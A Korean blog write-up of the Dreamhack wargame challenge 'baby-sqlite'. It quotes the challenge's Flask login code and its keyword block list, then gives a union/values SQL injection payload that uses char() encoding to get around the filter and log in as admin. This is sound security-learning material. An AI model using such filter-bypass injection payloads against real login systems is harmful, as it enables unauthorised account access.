CTF, War game

[Dreamhack] Level 2: baby-sqlite

mnzy๐ŸŒฑ 2024. 5. 5. 04:19

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/1

 

baby-sqlite

๋กœ๊ทธ์ธ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. SQL INJECTION ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! ํ•ด๋‹น ๋ฌธ์ œ๋Š” ์ˆ™๋ จ๋œ ์›นํ•ด์ปค๋ฅผ ์œ„ํ•œ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

dreamhack.io

2. ํ•ด๊ฒฐ ๊ณผ์ •

๋กœ๊ทธ์ธ์„ ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” uid,upw ๊ฐ’์„ ์ž…๋ ฅํ•ด์•ผ ํ•œ๋‹ค. (๋ชจ๋‘ ์†Œ๋ฌธ์ž๋กœ ์ž…๋ ฅ๋จ) 

level๊ฐ’์€ 9๋กœ ํ•˜๋“œ์ฝ”๋”ฉ๋˜์–ด์žˆ๋‹ค. 

SQL Injection ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด ๊ฐ ์ž…๋ ฅ๊ฐ’์— ๋ชจ๋‘ ํ•„ํ„ฐ๋ง์„ ๊ฑธ์–ด๋‘”๋‹ค. 

  •  [ , ]: ํŠน์ • SQL ๋ฌธ๋ฒ•์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž.
  • ,: SQL ๋ช…๋ น์–ด์—์„œ ์—ฌ๋Ÿฌ ๊ฐ’์„ ๊ตฌ๋ถ„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ.
  • admin: ๊ด€๋ฆฌ์ž ๊ณ„์ •๊ณผ ๊ด€๋ จ๋œ ์ž…๋ ฅ์„ ์ œํ•œ.
  • select: ๋ฐ์ดํ„ฐ๋ฅผ ์กฐํšŒํ•  ๋•Œ ์‚ฌ์šฉ๋˜๋Š” SQL ๋ช…๋ น์–ด.
  • ', ": SQL ๋ฌธ์ž์—ด์„ ๊ตฌ๋ถ„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ.
  • \t,  \n,  \r: ์—ฌ๋Ÿฌ ์ค„์— ๊ฑธ์นœ SQL ๋ฌธ์„ ๊ตฌ์„ฑํ•  ๋•Œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜ ๋ฌธ์ž.
  • ๋ฐฑ์ŠคํŽ˜์ด์Šค \x08, ํƒญ \x09, ๋„ ๋ฌธ์ž \x00, ์ˆ˜์ง ํƒญ \x0b, ์บ๋ฆฌ์ง€ ๋ฆฌํ„ด \x0d: ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ๋น„์ธ์‡„ ์ œ์–ด ๋ฌธ์ž.
  • ๊ณต๋ฐฑ : SQL ๋ฌธ์—์„œ ์—ฌ๋Ÿฌ ๊ตฌ์„ฑ ์š”์†Œ๋ฅผ ๊ตฌ๋ถ„ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ๋ณธ ๋ฌธ์ž.
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'

 

์ฝ”๋“œ๋Š” ์‹คํ–‰๋˜์ž๋งˆ์ž dream.cometure,9์˜ ๊ฐ’์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํ…Œ์ด๋ธ”์— ์‚ฝ์ž…ํ•œ๋‹ค. 

if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
        conn.commit()

 

๋กœ๊ทธ์ธ์ฐฝ์— dream, cometrue๋ฅผ ์ž…๋ ฅํ•˜๋ฉด "Good!"์ด๋ผ๋Š” ๋ฌธ์ž์—ด์ด ์ถœ๋ ฅ๋œ๋‹ค. 

 

ํ˜ธ์ถœ๋ฌธ์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค. 

์ž…๋ ฅ๊ฐ’์„ burp suite๋ฅผ ํ†ตํ•ด ์กฐ์ž‘ํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ํ˜ธ์ถœํ•ด๋ณผ ๊ฒƒ์ด๋‹ค.

SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};

 

a, a๋ฅผ ์ž…๋ ฅํ•˜๋ฉด level์€ ๋œจ์ง€ ์•Š๋Š”๋‹ค. (9๋กœ ์„ค์ •๋˜์–ด ์žˆ๊ณ  ๋”ฐ๋กœ ์ž…๋ ฅ๋ฐ›์ง€ ์•Š์Œ)

๋”ฐ๋ผ์„œ, ์ง์ ‘ ์ž…๋ ฅํ•ด์ฃผ์–ด์•ผ ํ•œ๋‹ค. 

uid=a&upw=a&level=1/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))

 

์„ฑ๊ณต